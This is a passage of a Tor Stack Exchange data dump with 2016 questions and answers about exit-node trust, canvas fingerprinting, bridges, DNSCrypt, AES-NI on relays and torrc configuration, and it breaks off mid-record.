  <row Id="10623" PostTypeId="1" AcceptedAnswerId="10624" CreationDate="2016-05-29T15:44:54.920" Score="1" ViewCount="488" Body="&lt;p&gt;Unfortunately, a secure end-to-end encrypted connection is not always an option in every case. The user's ISP is, in many cases (depends much on the country), probably more trustworthy than a random Tor exit node, which anyone can run. Many exit nodes are potentially malicious, run by spying agencies such as the NSA, FBI, or other malicious organizations. Even if they don't attempt to harm the user directly (MITM), they may spy on the user and log content of the connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to use an unencrypted connection in this specific case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I cannot get ideal security this way, but I am looking for some exit nodes that are at least as secure to use as a good, reputable ISP. Ideally these nodes should be hosted by a reputable organization committed to privacy and not keeping logs. What should I look for, and what country should they be located in, if I want good privacy (Switzerland?)?&lt;/p&gt;&#xA;" OwnerDisplayName="user13028" LastActivityDate="2016-05-29T16:30:51.473" Title="&quot;Trustworthy&quot; exit nodes" Tags="|exit-relays|" AnswerCount="1" CommentCount="1" ClosedDate="2016-06-07T14:05:17.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="10624" PostTypeId="2" ParentId="10623" CreationDate="2016-05-29T16:30:51.473" Score="3" Body="&lt;p&gt;This idea will not work, if the service or application has a requirement for security in it's communications then it MUST provide it itself, there is no alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same as one of the VPN misnomers, the mistaken belief that if you pick a trustworthy VPN provider &lt;em&gt;they&lt;/em&gt; will not tamper with your connection therefor your connection is safe. However, is it not only the VPN provider that can tamper with the data. Instead the truth is that series of routers through a series of ISPs of varying levels of repute all have opportunity to tamper with the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay you say, well what if I trustingly trust their trustworthy claims of trustiness &lt;em&gt;and&lt;/em&gt; it turns out they are good &lt;em&gt;and&lt;/em&gt; their ISP is good &lt;em&gt;and&lt;/em&gt; every ISP between their ISP and the services ISP is good &lt;em&gt;and&lt;/em&gt; all of their routers are immune to hacking, surely then we can trust that it won't be tampered with? Unfortunately, no. You could still be attacked through methods like &lt;a href=&quot;https://en.wikipedia.org/wiki/IP_hijacking&quot; rel=&quot;nofollow&quot;&gt;BGP hijacking&lt;/a&gt; or &lt;a href=&quot;https://theintercept.com/document/2014/03/12/quantum-insert-diagrams/&quot; rel=&quot;nofollow&quot;&gt;QUANTUM INSERT&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many excellent people (many of whom I apologise to for not naming here, as you deserve to be) like &lt;a href=&quot;https://www.torservers.net/&quot; rel=&quot;nofollow&quot;&gt;torservers.net&lt;/a&gt;, &lt;a href=&quot;https://nos-oignons.net/Services/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Nos Oignons&lt;/a&gt;, &lt;a href=&quot;https://help.riseup.net/en/about-us/projects&quot; rel=&quot;nofollow&quot;&gt;RiseUp&lt;/a&gt;, &lt;a href=&quot;https://www.calyxinstitute.org/projects/tor-anonymity&quot; rel=&quot;nofollow&quot;&gt;Calyx&lt;/a&gt;, &lt;a href=&quot;https://ccc.de/&quot; rel=&quot;nofollow&quot;&gt;CCC&lt;/a&gt;, and hosts of others who all provide Tor relays and allow exiting but, and I'm sure they'd all agree with me on this point, trustworthiness of the service provider cannot replace well implemented end-to-end authenticated communications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead advocate that the provider add TLS, with projects like &lt;a href=&quot;https://letsencrypt.org/&quot; rel=&quot;nofollow&quot;&gt;LetsEncrypt&lt;/a&gt; and &lt;a href=&quot;https://certbot.eff.org/&quot; rel=&quot;nofollow&quot;&gt;CertBot&lt;/a&gt; there is really no good excuse not too. Alternatively they could provide a &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor onion service&lt;/a&gt; to allow users to gain end-to-end encrypted and authenticated access.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-29T16:30:51.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10627" PostTypeId="1" CreationDate="2016-05-30T07:10:02.467" Score="4" ViewCount="394" Body="&lt;p&gt;I am something of a layperson, and have two questions regarding HTML5 Canvas fingerprinting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, it allows the site to extract certain hardware and software information about the visiting computer, which can be used to uniquely identify that machine. So if I were to visit site A, get finger-printed, then visit site B, and get finger-printed, my activities on sites A and B could be associated. If some identifying information (i.e. IP address) leaked on site B, my activities on site A could also be associated with that information.&#xA;Or if I visited site A twice, it could tell that I was the same person. etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as I understand it, by itself, it does not reveal any identifying information. So if for some reason I didn't care about being identified as the same person on multiple occasions, I could allow it, and maintain my anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Am I correct in my understanding?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How would this be affected by running tor in a VM?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13049" LastActivityDate="2016-06-05T06:51:43.573" Title="Nature of HTML5 Canvas fingerprinting" Tags="|fingerprinting|html5|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10628" PostTypeId="1" AcceptedAnswerId="10630" CreationDate="2016-05-30T11:29:28.763" Score="0" ViewCount="392" Body="&lt;p&gt;A proxy supports only http(S), No socks5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words,i want to configure Tor to use HTTP proxy, not an SOCKS  proxy.&lt;/p&gt;&#xA;" OwnerUserId="13052" LastActivityDate="2016-05-30T13:47:29.103" Title="how to force tor to use just Http(s) Not socks5" Tags="|configuration|torsocks|https|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10629" PostTypeId="2" ParentId="10627" CreationDate="2016-05-30T13:29:08.623" Score="4" Body="&lt;p&gt;Yes, &lt;em&gt;A&lt;/em&gt; and &lt;em&gt;B&lt;/em&gt; could collude and identify the two users as being the same person with a substantial certitude&lt;sup&gt;1&lt;/sup&gt;. If one of them has access to identifying information (IP address, name, email, etc.), the other would have access to them too (as they are colluding).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important part is, even if they don't have any identifying information, tracking your activity could be enough to deanonymize you. Let's say that you're visiting your school, football club, and bank's websites, and that they're all colluding. How many people are in &lt;em&gt;your&lt;/em&gt; school, playing in &lt;em&gt;your&lt;/em&gt; club, and customer of &lt;em&gt;your&lt;/em&gt; bank? Making a map of the websites visited by a user narrows the possibility drastically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running Tor in a VM won't protect you as long as they can still fingerprint you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;sup&gt;1&lt;/sup&gt; I am not sure about how unique the fingerprint is. I took a look at the paper &lt;a href=&quot;http://w2spconf.com/2012/papers/w2sp12-final4.pdf&quot; rel=&quot;nofollow&quot; title=&quot;Pixel Perfect: Fingerprinting Canvas in HTML5 by Keaton Mowery and Hovav Shacham&quot;&gt;Pixel Perfect: Fingerprinting Canvas in HTML5 (PDF)&lt;/a&gt; by Keaton Mowery and Hovav Shacham, where they present the concept; it is said that the fingerprint is high-entropy, with 5.73 bits, but it doesn't seem a lot to me, not against a thousand of users. But anyway it can always be used with other fingerprinting techniques.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="12013" LastEditorUserId="12013" LastEditDate="2016-06-05T06:51:43.573" LastActivityDate="2016-06-05T06:51:43.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10630" PostTypeId="2" ParentId="10628" CreationDate="2016-05-30T13:47:29.103" Score="1" Body="&lt;p&gt;You would need to chain some HTTP proxy to Tor's SOCKSPort. This is generally not recommended, it acts as another possible means of leaking DNS (the HTTP proxy may decide to resolve it and I think firefox, the last I heard, was doing it's resolves before making requests through the HTTP proxy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Polipo and Privoxy seem to be two of the most popular for this purpose. Tor itself does not have a native means of providing an HTTP proxy, it will require third party software.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-30T13:47:29.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10631" PostTypeId="1" AcceptedAnswerId="10632" CreationDate="2016-05-30T15:20:08.927" Score="2" ViewCount="983" Body="&lt;p&gt;I want to access a website using the Tor Browser, but when I try to log in, the website asks me not to use proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I searched for Tor bridges and entered 3 of them as custom bridges. The Tor Browser detects the first one and the circuit is completed by using one of my input bridges and two other from Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the site stops me again from signing in, saying that I am still using a proxy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make a complete circuit using bridges which are not listed?&lt;/p&gt;&#xA;" OwnerUserId="13053" LastEditorUserId="88" LastEditDate="2016-05-31T17:56:19.073" LastActivityDate="2018-03-27T23:07:11.640" Title="How to Add bridge relays" Tags="|configuration|blocked-services|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10632" PostTypeId="2" ParentId="10631" CreationDate="2016-05-30T16:03:28.330" Score="5" Body="&lt;p&gt;You cannot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bridges only serve as entry points to the network, their purpose is to get you onto the tor network through potentially uncensored means. They are simply private guards which are not listed in the tor consensus to make it harder for a censor to know that it is a tor node, after the first hop to the bridge, tor operates as it would normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasons for exits being known universally are two-fold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is beneficial to the people or entities operating tor relays that allow exiting to be able to advertise the fact that this is what they're doing in an open and public way, it provides them with some protection from legal repercussions from the activities that people perform over the tor network though their relays. See, for example, &lt;a href=&quot;https://exonerator.torproject.org/&quot;&gt;Exonerator&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If users were given a small set of unlisted exits to use it would harm their anonymity. Tor's protection comes from the ability to hide in a crowd, all tor users are as likely to have exited from a specific exit as any other user. A user who only ever uses a small set of unlisted exits could ultimately end up linking all of their tor traffic to a single, trackable entity. Furthermore whomever was distributing the unpublished list of exits could &quot;poison&quot; users to track their tor usage. This would also ultimately make it easier for them to be the subject of targeted attacks.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It is unfortunate that sites feel the need to block tor rather than finding better methods to handle abuse, but blacklisting appears to &quot;work&quot; and it's relatively easy to deploy so it's what website operators tend to deploy. You should read Roger's blog post &quot;&lt;a href=&quot;https://blog.torproject.org/blog/call-arms-helping-internet-services-accept-anonymous-users&quot;&gt;A call to arms: Helping Internet services accept anonymous users&lt;/a&gt;&quot; and try to put forward a case for allowing Tor users to use the service, if they do not you should probably try to find a similar service that does allow anonymous use because the current service operators clearly do not hold your privacy in very high regard.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-30T16:09:07.237" LastActivityDate="2016-05-30T16:09:07.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10634" PostTypeId="1" AcceptedAnswerId="19550" CreationDate="2016-05-31T10:48:43.327" Score="2" ViewCount="955" Body="&lt;p&gt;I have a server with Linux Debian 8.4, running a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt; could improve the performance of my relay. Or at least, less stress the CPU by crypto operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt; detected by the system:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ grep aes /proc/cpuinfo &amp;gt; /dev/null; echo $?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with the result of &lt;strong&gt;&lt;code&gt;0&lt;/code&gt;&lt;/strong&gt;, which means my CPU &lt;strong&gt;does&lt;/strong&gt; support it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I read that it depends on OpenSSL package version, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ apt-cache policy openssl&#xA;&#xA;openssl:  &#xA;Installed: 1.0.1k-3+deb8u5  &#xA;Candidate: 1.0.1k-3+deb8u5  &#xA;Version table:  &#xA;*** 1.0.1k-3+deb8u5 0  &#xA;      500 http://security.debian.org/ jessie/updates/main amd64 Packages  &#xA;      100 /var/lib/dpkg/status&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor version is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor --version&#xA;&#xA;Tor version 0.2.7.6 (git-605ae665009853bd).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;How do I ensure or check if Tor actually uses &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt; CPU instructions directly or indirectly?&lt;/p&gt;&#xA;" OwnerUserId="12763" LastEditorUserId="12763" LastEditDate="2019-03-07T17:05:41.643" LastActivityDate="2019-03-13T21:13:02.073" Title="Are AES-NI crypto instructions used by my Tor (relay) server?" Tags="|configuration|relays|speed|performance|fast-relays|" AnswerCount="2" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10635" PostTypeId="1" CreationDate="2016-05-31T11:20:40.897" Score="1" ViewCount="515" Body="&lt;p&gt;I have a tor service already running in a VM and I want TorBrowser uses that instance of tor instead start up another process in current machine.&#xA;Is it possible? How can I do?&#xA;What's the correct configuration of torrc in VM?&lt;/p&gt;&#xA;" OwnerUserId="13065" LastEditorUserId="13768" LastEditDate="2016-08-03T17:04:45.883" LastActivityDate="2016-08-03T17:04:45.883" Title="How to force TorBrowser to use already running instance of tor?" Tags="|configuration|tor-browser-bundle|virtual-machine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10636" PostTypeId="1" CreationDate="2016-05-31T12:04:44.043" Score="3" ViewCount="770" Body="&lt;p&gt;DNSCrypt already gives you a protection layers against Man-in-the-middle attacks and should obscure your the traffic your ISP sees.. is it, combined with Tor, a good extra protection or does Tor already cover that and could go in conflict?&lt;/p&gt;&#xA;" OwnerUserId="13066" LastEditorUserId="12198" LastEditDate="2016-06-03T15:18:28.153" LastActivityDate="2016-06-03T15:18:28.153" Title="Is it a better practise to use DNSCrypt over Tor or is it useless?" Tags="|tor-browser-bundle|windows|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10637" PostTypeId="1" AcceptedAnswerId="11710" CreationDate="2016-05-31T18:34:56.900" Score="0" ViewCount="175" Body="&lt;p&gt;Tor Browser v 6 doesn't open at all with no error on screen or event viewer. Tried upgrading then a new install with no joy. Have had no issues running the last 7 or so versions. Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security software in use: Microsoft Security Essentials plus Malwarebytes Pro Edition. Have uninstalled both with no joy. Additionally the last 7 or so versions of Tor Browser have worked with no problems whatsoever with same security solutions. &lt;/p&gt;&#xA;" OwnerUserId="13069" LastEditorDisplayName="user6671" LastEditDate="2019-02-10T18:22:09.827" LastActivityDate="2019-02-10T18:22:09.827" Title="Tor Browser version 6 doesn't open on Win 7 64 bit; no error msg, also W10" Tags="|windows|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="10638" PostTypeId="1" CreationDate="2016-05-31T18:53:09.117" Score="0" ViewCount="93" Body="&lt;p&gt;I just installed Tor browser and I would like to know if the default configuration is set to be a relay or normal user. And then, just close the browser to disconnect from the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="12515" LastEditorUserId="12515" LastEditDate="2016-05-31T18:59:29.223" LastActivityDate="2016-05-31T19:52:42.490" Title="Do I have to be a relay to use Tor Browser?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2016-06-03T15:20:02.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="10639" PostTypeId="2" ParentId="10638" CreationDate="2016-05-31T19:52:42.490" Score="1" Body="&lt;p&gt;Nope when you use the Tor Browser you are only using Tor.  You are not set up as a relay with default configuration.  That would be misleading if the default configuration was to set each user up as a relay.  &lt;/p&gt;&#xA;" OwnerUserId="12194" LastActivityDate="2016-05-31T19:52:42.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10640" PostTypeId="2" ParentId="10635" CreationDate="2016-05-31T20:55:03.520" Score="1" Body="&lt;p&gt;I wrote a guide for this, I was asked to transcribe it to the Tor Project wiki so that it was as easier to find resource (and so that I didn't have editorial authority over it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the wiki page here &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ&quot; rel=&quot;nofollow&quot;&gt;TorBrowserBundleSAQ&lt;/a&gt;, as far as I am aware there have been no changes to it since I originally transcribed it from my &lt;a href=&quot;https://ctarbell.fbi.lol/torbrowser.html&quot; rel=&quot;nofollow&quot;&gt;original version&lt;/a&gt; but edits, improvements and corrections are welcome and encouraged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, there are specific environment variables that can be set that both Tor Button and Tor Launcher will use to decide how to act when starting up Tor Browser. In linux you can add these to your &lt;code&gt;/etc/profile&lt;/code&gt; or as a file in &lt;code&gt;/etc/profile.d/&lt;/code&gt; or add them to the start-tor-browser script itself. They just need to be set in the environment variables before you start tor browser.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-31T20:55:03.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10641" PostTypeId="2" ParentId="10636" CreationDate="2016-05-31T21:22:38.733" Score="5" Body="&lt;p&gt;DNSCrypt does not give you protection against man-in-the-middle attacks, it just moves where the man-in-the-middle would need to be. For example, if the man-in-the-middle existed between your upstream resolver and the authoritative DNS servers for the domain or between them and some recursive resolver or between their upstream recursive resolver and the authoritative DNS resolver for the traffic. You're not removing the risk, you're just changing where they'd have to be to perform it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will stop your local ISP from seeing your DNS lookups but it does mean that whoever is running the DNSCrypt server will see them instead, you're not removing the information of what you resolve and when from being linked to you, you're just changing who sees it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor itself can perform resolves for &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;AAAA&lt;/code&gt; and &lt;code&gt;PTR&lt;/code&gt; records. For most  desktop use cases this is a sufficient set of DNS record types to operate with. You can set this up using the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#DNSPort&quot;&gt;&lt;code&gt;DNSPort&lt;/code&gt;&lt;/a&gt; option in your torrc and setting your DNS resolvers to be 127.0.0.1, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however you have requirements that mean you need other DNS record types or you think that DNSSec is actually useful or practical and secure (lol) and you want to ensure that what you resolve and when isn't known to your ISP &lt;em&gt;and&lt;/em&gt; ensure that the DNSCrypt server operator doesn't know who is resolving what or when, then you should run DNSCrypt over Tor. Note that even this isn't protecting you from man-in-the-middle attacks, you're still just as vulnerable to them as you are from using DNSCrypt without Tor, this just unlinks you from the resolves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that DNSCrypt tunnels that are made will link all your resolves together, so if you resolve a series of sites like &lt;em&gt;your bank&lt;/em&gt;, &lt;em&gt;your place of employement&lt;/em&gt; and &lt;em&gt;your personal webpage&lt;/em&gt; then &lt;em&gt;your secret forum where you plot to sell delicious cookies on the derpwebs&lt;/em&gt; then people might conclude: All these requests came from one entity, the list of candidates is very short and includes you, and therefor you are a strong candidate for being the derpweb cookie vendor.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-31T21:22:38.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10642" PostTypeId="2" ParentId="10634" CreationDate="2016-05-31T21:49:25.997" Score="2" Body="&lt;p&gt;It depends:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/common/aes.c#n44&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/tor.git/tree/src/common/aes.c#n44&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Link has been removed, I've been unable to find it in the archive, maybe someone else will.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;on if the OpenSSL it was built against supports it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As you're using OpenSSL 1.0.1 it should be in use, see &lt;a href=&quot;https://www.torservers.net/wiki/setup/server#aes-ni_crypto_acceleration&quot; rel=&quot;nofollow noreferrer&quot;&gt;torservers documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually directly confirming that OpenSSL is using &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt; seems like a &lt;a href=&quot;https://stackoverflow.com/questions/25284119/how-can-i-check-if-openssl-is-support-use-the-intel-aes-ni&quot;&gt;trickier subject&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12763" LastEditDate="2019-03-13T21:13:02.073" LastActivityDate="2019-03-13T21:13:02.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10644" PostTypeId="1" CreationDate="2016-06-01T02:27:53.867" Score="4" ViewCount="1196" Body="&lt;p&gt;I sometimes need to set a specific ExitNodes country code in the torrc file. I am using Mac OS X 10.6.7.  Prior to Tor 6.0 the &lt;code&gt;torrc&lt;/code&gt; file for &lt;code&gt;TorBrowser.app&lt;/code&gt; on a Mac was located in the app's bundle, i.e.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TorBrowser.app/TorBrowser/Data/Tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would edit that file to specify the desired ExitNodes command. Note, torrc was initially created by the app during first execution.  After that I could edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Tor 6.0 the app bundle organization is different and there is no &lt;code&gt;torrc&lt;/code&gt; in the bundle.  So how does one now specify a specific ExitNodes country code?  If it's still a &lt;code&gt;torrc&lt;/code&gt; file where does Tor 6.0 look for that file on a Mac?&lt;/p&gt;&#xA;" OwnerUserId="13076" LastEditorUserId="8197" LastEditDate="2016-06-05T09:03:36.593" LastActivityDate="2016-06-05T09:03:36.593" Title="Creating ExitNodes command for Tor 6.0 on a Mac" Tags="|configuration|mac|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10645" PostTypeId="1" AcceptedAnswerId="10646" CreationDate="2016-06-01T03:04:37.260" Score="1" ViewCount="213" Body="&lt;p&gt;Today I upgraded to Tor 6.0, I use Tor with a vpn with psuedo random exit countries habitually. While having 5.5 I noticed when I entered IP into DuckDuckGo while using vpn/tor it was Your IP address is 184.72.106.52 in Ashburn, Virginia, United States (20147) which kinda freaked me the fuck out we all know the beasts that roam in Virginia.. Well after upgrading I find the same ip from DDG which is fucked cause I cannot find any leaks from my vpn to tor DNS or otherwise mind you my IP on exit node verify shows the exit node as does the Tor button but DDG is showing I am in virginia and the whois says Amazon so.. wtf?&lt;/p&gt;&#xA;" OwnerUserId="13077" LastActivityDate="2016-06-01T13:15:01.763" Title="IP in DDG is not known VPN/TOR" Tags="|deanonymization|" AnswerCount="1" CommentCount="2" ClosedDate="2016-06-07T14:05:54.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="10646" PostTypeId="2" ParentId="10645" CreationDate="2016-06-01T03:48:45.983" Score="0" Body="&lt;p&gt;Edit: Scratch that, you're using their onion, the IP it reports is the IP making the connection, which is where their onion is connect from and entirely unrelated to you, Tor, or your VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using their non-onion address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ curl -i -x socks5h://127.0.0.1:9050 http://184.72.106.52/&#xA;HTTP/1.1 301 Moved Permanently&#xA;&amp;lt;SNIP&amp;gt;&#xA;Location: https://duckduckgo.com/&#xA;&amp;lt;SNIP&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-01T13:15:01.763" LastActivityDate="2016-06-01T13:15:01.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10647" PostTypeId="1" CreationDate="2016-06-01T04:50:32.050" Score="0" ViewCount="2805" Body="&lt;p&gt;MY PC WAS HACKED RECENTLY due to which I'm exploring options to secure my Internet usage using Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question to all those cyber crime fighting folks. Would it be possible to track back my Internet usage if I'm using Tails(hosted on VirtualBox) and mobile hotspot to connect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your answers and suggestions are highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="12418" LastActivityDate="2016-11-05T15:09:01.680" Title="Using Tails via mobile hotspot" Tags="|tails|virtual-machine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10648" PostTypeId="2" ParentId="10647" CreationDate="2016-06-01T05:02:02.157" Score="1" Body="&lt;p&gt;Running Tails in a VM is not recommended since the host OS and VirtualBox itself can see what you're doing inside the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if your host OS is infected/owned, the attacker can see what you do on Tails as well. I recommend reading &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Tails warning page&lt;/a&gt; before doing anything. And maybe install Tails on a USB stick instead of running it on a VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And oh, the source of internet connection doesn't matter. Since everything will be sent over Tor. &lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2016-06-01T05:02:02.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10649" PostTypeId="1" AcceptedAnswerId="10650" CreationDate="2016-06-01T10:39:00.903" Score="2" ViewCount="100" Body="&lt;p&gt;If I set some programs to connect through the tor network (via SOCKS) how can I be sure, without checking the website they are connecting to, if the &quot;end&quot; connection is going to be encrypted with HTTPS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'd like to set the proxy of my RSS reader to connect through tor.. now, it connects to lots of websites, so I can't really know if all of them are using HTTPS.. is there a way to force tor to lose connection if it doesn't connect to HTTPS in this case, so I can be sure I'm &quot;safer&quot;?&lt;/p&gt;&#xA;" OwnerUserId="13081" LastActivityDate="2016-06-01T13:09:54.213" Title="How can I be sure my tor proxy is connecting to HTTPS when setting a program's proxy?" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10650" PostTypeId="2" ParentId="10649" CreationDate="2016-06-01T13:09:54.213" Score="1" Body="&lt;p&gt;There is no way to currently do this with Tor and it's very unlikely to ever be added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're describing would be &quot;Deep Packet Inspection&quot;, recognising protocols by inspecting the data streams in packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not currently possible on Tor, the only thing it &lt;em&gt;can&lt;/em&gt; do it write a warning to the logs that an &quot;unsafe&quot; port number is being used. This can be done by adding a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#WarnPlaintextPorts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WarnPlaintextPorts&lt;/code&gt;&lt;/a&gt; directive to your torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also unlikely to ever be added in Tor, performing parsing of adversary controlled data passing through Tor to recognise protocols opens it up to remote attacks, Tor would need to parse an arbitrarily large set of protocols to try and identify which is and isn't &quot;plaintext&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the Tor Project was able to actually get the dev time to write a full DPI toolkit with a large set of protocol parsers and recognisers. This method is &lt;em&gt;still&lt;/em&gt; destined to fail in cases where Tor's recogniser fails to determine which protocol it is: should it &lt;em&gt;assume&lt;/em&gt; it's plaintext and potentially block communications which &lt;em&gt;are&lt;/em&gt; secure? &lt;em&gt;or&lt;/em&gt; should it allow it and potentially &lt;em&gt;fail&lt;/em&gt; to perform it's duty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that some of Tor's Pluggable Transports are designed to defeat DPI by creating protocols that can't be definitively recognised even with knowledge of what the protocol is, the futility of this kind of approach should be apparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor need not and should not care about what the data it's proxying is. It &lt;em&gt;must&lt;/em&gt; be the responsibility of the user or, better yet, the application itself to ensure that appropriate encryption is properly deployed as required.&lt;/p&gt;&#xA;" OwnerUserId="12737" 